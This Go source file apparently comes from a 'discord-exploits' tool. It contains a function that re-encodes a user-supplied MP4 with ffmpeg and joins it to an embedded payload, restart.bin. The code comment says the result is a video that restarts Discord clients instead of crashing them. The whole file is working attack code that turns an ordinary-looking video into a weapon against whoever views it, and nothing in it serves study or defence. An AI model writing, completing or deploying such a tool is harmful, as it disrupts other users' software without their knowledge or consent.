package exploits import ( _ "embed" // embed "fmt" "os" "os/exec" "time" "github.com/Schmenn/discord-exploits/modules" ) //go:embed restart.bin var restartBin []byte // RunRestartVideoTask will concatenate a user-provided mpeg4 file and restart.bin to create a video which will // restart clients instead of crashing them. Requires that the base mpeg4 be encoded to yuv422p color space. func RunRestartVideoTask(filename string) { binname := modules.CreateName("bin") outname := modules.CreateName("mp4") txtname := modules.CreateName("txt") // prevent duplicate id time.Sleep(time.Millisecond * 1) reencode := modules.CreateName("mp4") modules.CheckForFFmpeg() cmd := exec.Command("ffmpeg", "-i", filename, "-pix_fmt", "yuv422p", reencode) err := cmd.Run() modules.Check(err) err = os.WriteFile(txtname, []byte(`file '`+reencode+`'`+"\n"+`file '`+binname+`'`), 0777) modules.Check(err) err = os.WriteFile(binname, restartBin, 0777) modules.Check(err) cmd = exec.Command("ffmpeg", "-f", "concat", "-safe", "0", "-i", txtname, "-y", "-c", "copy", outname) err = cmd.Run() modules.Check(err) err = os.Remove(binname) modules.Check(err) err = os.Remove(txtname) modules.Check(err) err = os.Remove(reencode) modules.Check(err) fmt.Println("Saved video to: " + outname) }